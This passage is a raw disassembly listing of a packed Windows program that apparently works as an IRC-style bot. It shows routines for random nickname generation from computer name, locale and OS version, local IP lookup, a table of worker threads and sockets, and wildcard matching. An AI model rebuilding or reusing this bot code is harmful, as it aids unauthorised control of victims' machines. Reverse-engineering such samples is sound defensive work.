		pop	ecx


loc_40AAFE:				; CODE XREF: sub_40AA3C+89j
					; sub_40AA3C+9Dj
		push	esi
		call	sub_41B881
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AB0D:				; CODE XREF: sub_40AA3C+2Ej
		push	offset unk_42EB5C
		jmp	short loc_40AAE0
sub_40AA3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB14	proc near		; CODE XREF: sub_401B66+2164p
					; sub_401B66+229Bp ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDC08	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CDD90
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C056
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AB14	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB6D	proc near		; CODE XREF: sub_413133+24Cp
					; sub_413133+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_40AB98
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+8+arg_0]


loc_40AB8B:				; CODE XREF: sub_40AB6D+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_40AB8B
		pop	edi
		jmp	short loc_40AB9C
; ---------------------------------------------------------------------------


loc_40AB98:				; CODE XREF: sub_40AB6D+Aj
		mov	esi, [esp+4+arg_0]


loc_40AB9C:				; CODE XREF: sub_40AB6D+29j
		test	ecx, ecx
		jz	short loc_40ABA5
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_40ABA5:				; CODE XREF: sub_40AB6D+31j
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 10h
		add	ecx, edx
		pop	esi
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AB6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ABBD	proc near		; CODE XREF: sub_40AF23+4Ap
					; DATA XREF: .packed:off_42EC28o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		call	sub_41C0B2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	off_42EC90[edx*4]
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41C150
		xor	esi, esi
		add	esp, 14h
		cmp	dword_42A094, esi
		jle	short loc_40AC24


loc_40ABFE:				; CODE XREF: sub_40ABBD+65j
		call	sub_41C0B2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42CB1C
		push	1Ch
		push	edi
		call	sub_41C150
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A094
		jl	short loc_40ABFE


loc_40AC24:				; CODE XREF: sub_40ABBD+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ABBD	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	aNt_0 ;	"NT"
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41C150
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42A094, esi
		jle	short loc_40AC82


loc_40AC5C:				; CODE XREF: .packed:0040AC80j
		call	sub_41C0B2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42CB1C
		push	1Ch
		push	edi
		call	sub_41C150
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A094
		jl	short loc_40AC5C


loc_40AC82:				; CODE XREF: .packed:0040AC5Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AC87	proc near		; CODE XREF: sub_401B66+68D6p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		pop	ecx
		call	sub_41C0B2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42A094
		test	esi, esi
		jle	short loc_40ACCA


loc_40ACB4:				; CODE XREF: sub_40AC87+41j
		call	sub_41C0B2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ACB4


loc_40ACCA:				; CODE XREF: sub_40AC87+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AC87	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		pop	ecx
		lea	eax, [ebp-4]
		mov	esi, offset aPc	; "PC"
		push	eax
		push	esi
		call	dword_4280C0	; GetComputerNameA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C150
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42A094, esi
		jle	short loc_40AD3D


loc_40AD17:				; CODE XREF: .packed:0040AD3Bj
		call	sub_41C0B2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42CB1C
		push	1Ch
		push	edi
		call	sub_41C150
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A094
		jl	short loc_40AD17


loc_40AD3D:				; CODE XREF: .packed:0040AD15j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4280C4	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_3	; "%s|"
		push	1Ch
		push	edi
		call	sub_41C150
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42A094, esi
		jle	short loc_40ADB2


loc_40AD8C:				; CODE XREF: .packed:0040ADB0j
		call	sub_41C0B2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42CB1C
		push	1Ch
		push	edi
		call	sub_41C150
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A094
		jl	short loc_40AD8C


loc_40ADB2:				; CODE XREF: .packed:0040AD8Aj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43FE14
		mov	dword ptr [ebp-94h], 94h
		call	dword_4280C8	; GetVersionExA
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AE3C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AE1C
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AE0C
		mov	esi, offset a95	; "95"


loc_40AE0C:				; CODE XREF: .packed:0040AE05j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AE78
		mov	esi, offset aNt_1 ; "NT"
		jmp	short loc_40AE78
; ---------------------------------------------------------------------------


loc_40AE1C:				; CODE XREF: .packed:0040ADFCj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AE2C
		mov	esi, offset a98	; "98"
		jmp	short loc_40AE78
; ---------------------------------------------------------------------------


loc_40AE2C:				; CODE XREF: .packed:0040AE23j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AE73
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40AE78
; ---------------------------------------------------------------------------


loc_40AE3C:				; CODE XREF: .packed:0040ADF3j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AE73
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AE55
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40AE78
; ---------------------------------------------------------------------------


loc_40AE55:				; CODE XREF: .packed:0040AE4Cj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AE65
		mov	esi, offset aXp_0 ; "XP"
		jmp	short loc_40AE78
; ---------------------------------------------------------------------------


loc_40AE65:				; CODE XREF: .packed:0040AE5Cj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40AE78


loc_40AE73:				; CODE XREF: .packed:0040AE33j
					; .packed:0040AE43j
		mov	esi, offset a??? ; "???"


loc_40AE78:				; CODE XREF: .packed:0040AE13j
					; .packed:0040AE1Aj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_4	; "[%s]|"
		push	1Ch
		push	edi
		call	sub_41C150
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42A094, esi
		jle	short loc_40AEBC


loc_40AE96:				; CODE XREF: .packed:0040AEBAj
		call	sub_41C0B2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42CB1C
		push	1Ch
		push	edi
		call	sub_41C150
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A094
		jl	short loc_40AE96


loc_40AEBC:				; CODE XREF: .packed:0040AE94j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEC2	proc near		; CODE XREF: sub_40AF23+5Dp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		call	dword_4280A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		cmp	eax, 64h
		jbe	short loc_40AEF0
		push	eax
		push	offset aD_2	; "[%d]"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C150
		add	esp, 10h


loc_40AEF0:				; CODE XREF: sub_40AEC2+18j
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B7B0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40AF1E
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C9B0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BDC0
		add	esp, 18h


loc_40AF1E:				; CODE XREF: sub_40AEC2+3Bj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AEC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF23	proc near		; CODE XREF: sub_401891+7Fp
					; sub_4019F7+43p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_40AF2C:				; CODE XREF: sub_40AF23+40j
		cmp	[ebp+arg_C], 0
		jz	short loc_40AF4A
		lea	eax, aReal[esi]	; "real"
		push	eax
		push	[ebp+arg_C]
		call	sub_41C840
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AF58
; ---------------------------------------------------------------------------


loc_40AF4A:				; CODE XREF: sub_40AF23+Dj
		mov	ecx, dword_42EC24[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AF58:				; CODE XREF: sub_40AF23+25j
		test	eax, eax
		jnz	short loc_40AF67
		add	esi, 14h
		inc	edi
		cmp	esi, 78h
		jb	short loc_40AF2C
		jmp	short loc_40AF75
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: sub_40AF23+37j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42EC28[eax*4]
		pop	ecx


loc_40AF75:				; CODE XREF: sub_40AF23+42j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AF88
		push	[ebp+arg_0]
		call	sub_40AEC2
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AF88:				; CODE XREF: sub_40AF23+58j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AF23	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF8D	proc near		; CODE XREF: sub_401252:loc_4015BBp
					; sub_401252+3A5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_440998


loc_40AF95:				; CODE XREF: sub_40AF8D+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40AFA9
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CD998
		jl	short loc_40AF95
		jmp	short loc_40AFF4
; ---------------------------------------------------------------------------


loc_40AFA9:				; CODE XREF: sub_40AF8D+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_440998[esi]
		push	eax
		call	sub_41BDC0
		mov	eax, [esp+14h+arg_4]
		and	dword_440B9C[esi], 0
		and	dword_440BA0[esi], 0
		mov	dword_440B98[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_440BB0[esi], 0
		mov	dword_440BA4[esi], eax
		pop	esi


loc_40AFF4:				; CODE XREF: sub_40AF8D+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40AF8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFF8	proc near		; DATA XREF: sub_401B66+28F7o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40B04A
		push	[ebp+var_14]
		call	sub_40B2A3
		add	esp, 14h
		push	0
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
sub_40AFF8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B04A	proc near		; CODE XREF: sub_40AFF8+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_432A14
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_440998


loc_40B074:				; CODE XREF: sub_40B04A+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40B0B5
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B088
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40B0B5


loc_40B088:				; CODE XREF: sub_40B04A+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 24h


loc_40B0B5:				; CODE XREF: sub_40B04A+2Dj
					; sub_40B04A+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CD998
		jl	short loc_40B074
		pop	edi
		pop	esi
		leave
		retn
sub_40B04A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0C8	proc near		; CODE XREF: sub_401B66+7A3Fp
					; sub_40B150+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B14A
		cmp	esi, 400h
		jge	short loc_40B14A
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_440BAC[esi]
		push	dword ptr [edi]
		call	dword_4280AC	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40B0FA
		inc	ebp


loc_40B0FA:				; CODE XREF: sub_40B0C8+2Fj
		mov	[edi], ebx
		lea	edi, dword_440BA0[esi]
		mov	dword_440B98[esi], ebx
		mov	dword_440B9C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B11B
		push	eax
		call	sub_41A178
		pop	ecx


loc_40B11B:				; CODE XREF: sub_40B0C8+4Aj
		mov	[edi], ebx
		lea	edi, dword_440BA4[esi]
		mov	byte ptr dword_440998[esi], bl
		mov	byte_440BB0[esi], bl
		push	dword ptr [edi]
		call	dword_4CDCFC	; closesocket
		lea	esi, dword_440BA8[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CDCFC	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40B14A:				; CODE XREF: sub_40B0C8+Dj
					; sub_40B0C8+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B0C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B150	proc near		; CODE XREF: sub_401132+18p
					; sub_401252:loc_40187Dp ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_440998


loc_40B15C:				; CODE XREF: sub_40B150+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B16D
		push	edi
		call	sub_40B0C8
		test	eax, eax
		pop	ecx
		jz	short loc_40B16D
		inc	ebx


loc_40B16D:				; CODE XREF: sub_40B150+Fj
					; sub_40B150+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CD998
		jl	short loc_40B15C
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B150	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B182	proc near		; CODE XREF: sub_401B66+412Bp
					; sub_401B66+4279p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_440B9C


loc_40B196:				; CODE XREF: sub_40B182+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B1B8
		test	edi, edi
		jle	short loc_40B1AA
		cmp	[esi], edi
		jz	short loc_40B1AA
		cmp	ebx, edi
		jnz	short loc_40B1B8


loc_40B1AA:				; CODE XREF: sub_40B182+1Ej
					; sub_40B182+22j
		push	ebx
		call	sub_40B0C8
		test	eax, eax
		pop	ecx
		jz	short loc_40B1B8
		inc	[ebp+var_4]


loc_40B1B8:				; CODE XREF: sub_40B182+1Aj
					; sub_40B182+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CDB9C
		jl	short loc_40B196
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B182	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1CF	proc near		; CODE XREF: sub_401B66+8E3p
					; sub_401B66+1C72p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_440B98


loc_40B1D6:				; CODE XREF: sub_40B1CF+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B1DF
		inc	eax


loc_40B1DF:				; CODE XREF: sub_40B1CF+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CDB98
		jl	short loc_40B1D6
		retn
sub_40B1CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1EE	proc near		; CODE XREF: sub_401B66+235Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_440B98
		push	esi


loc_40B1F8:				; CODE XREF: sub_40B1EE+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B211
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CDB98
		jl	short loc_40B1F8
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B211:				; CODE XREF: sub_40B1EE+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B1EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B215	proc near		; CODE XREF: sub_401B66+11B1p
					; sub_401B66+11CFp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B22E
		push	[ebp+arg_1C]
		call	sub_41BF49
		pop	ecx


loc_40B22E:				; CODE XREF: sub_40B215+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B182
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B25A
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C056
		add	esp, 14h
		jmp	short loc_40B274
; ---------------------------------------------------------------------------


loc_40B25A:				; CODE XREF: sub_40B215+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C056
		add	esp, 10h


loc_40B274:				; CODE XREF: sub_40B215+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B294
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_40B294:				; CODE XREF: sub_40B215+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A5
		pop	ecx
		leave
		retn
sub_40B215	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2A3	proc near		; CODE XREF: sub_401891+154p
					; sub_40AFF8+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_440BAC[eax], ecx
		mov	dword_440B98[eax], ecx
		mov	dword_440B9C[eax], ecx
		mov	dword_440BA0[eax], ecx
		mov	dword_440BA4[eax], ecx
		mov	dword_440BA8[eax], ecx
		mov	byte ptr dword_440998[eax], cl
		mov	byte_440BB0[eax], cl
		retn
sub_40B2A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2E0	proc near		; CODE XREF: sub_401B66+7CC6p
					; sub_40B408+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_40B342
; ---------------------------------------------------------------------------


loc_40B2EC:				; CODE XREF: sub_40B2E0+66j
		cmp	eax, 1
		jnz	short loc_40B353
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B353
		cmp	cl, 2Ah
		jz	short loc_40B32B
		cmp	cl, 3Fh
		jz	short loc_40B310
		cmp	cl, 5Bh
		jz	short loc_40B315
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B310:				; CODE XREF: sub_40B2E0+22j
		inc	[ebp+arg_4]
		jmp	short loc_40B33E
; ---------------------------------------------------------------------------


loc_40B315:				; CODE XREF: sub_40B2E0+27j
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B374
		mov	esi, [ebp+arg_0]
		jmp	short loc_40B33C
; ---------------------------------------------------------------------------


loc_40B32B:				; CODE XREF: sub_40B2E0+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B408
		mov	esi, [ebp+arg_0]
		dec	esi


loc_40B33C:				; CODE XREF: sub_40B2E0+49j
		pop	ecx
		pop	ecx


loc_40B33E:				; CODE XREF: sub_40B2E0+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_40B342:				; CODE XREF: sub_40B2E0+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_40B2EC
		jmp	short loc_40B353
; ---------------------------------------------------------------------------


loc_40B34A:				; CODE XREF: sub_40B2E0+76j
		cmp	eax, 1
		jnz	short loc_40B36F
		inc	esi
		mov	[ebp+arg_0], esi


loc_40B353:				; CODE XREF: sub_40B2E0+Fj
					; sub_40B2E0+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_40B34A
		cmp	eax, 1
		jnz	short loc_40B36F
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B36F
		cmp	byte ptr [esi],	0
		jnz	short loc_40B36F
		xor	eax, eax
		inc	eax
		jmp	short loc_40B371
; ---------------------------------------------------------------------------


loc_40B36F:				; CODE XREF: sub_40B2E0+6Dj
					; sub_40B2E0+7Bj ...
		xor	eax, eax


loc_40B371:				; CODE XREF: sub_40B2E0+8Dj
		pop	esi
		pop	ebp
		retn
sub_40B2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B374	proc near		; CODE XREF: sub_40B2E0+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		xor	eax, eax
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B395
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B395:				; CODE XREF: sub_40B374+19j
		push	ebx
		push	esi


loc_40B397:				; CODE XREF: sub_40B374+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B3A5
		cmp	[ebp+var_4], eax
		jnz	short loc_40B3ED


loc_40B3A5:				; CODE XREF: sub_40B374+2Aj
		test	edi, edi
		jnz	short loc_40B3E2
		cmp	bl, 2Dh
		jnz	short loc_40B3D6
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_40B3D6
		cmp	al, 5Dh
		jz	short loc_40B3D6
		cmp	[ebp+var_4], edi
		jnz	short loc_40B3D6
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B3E2
		cmp	bl, al
		jg	short loc_40B3E2
		mov	[edx], esi
		jmp	short loc_40B3DF
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B374+38j
					; sub_40B374+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B3E2


loc_40B3DF:				; CODE XREF: sub_40B374+60j
		xor	edi, edi
		inc	edi


loc_40B3E2:				; CODE XREF: sub_40B374+33j
					; sub_40B374+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_40B397
; ---------------------------------------------------------------------------


loc_40B3ED:				; CODE XREF: sub_40B374+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B3FA
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B3FA:				; CODE XREF: sub_40B374+7Ej
		cmp	edi, eax
		jnz	short loc_40B403
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B403:				; CODE XREF: sub_40B374+88j
		mov	eax, edi
		pop	edi
		leave
		retn
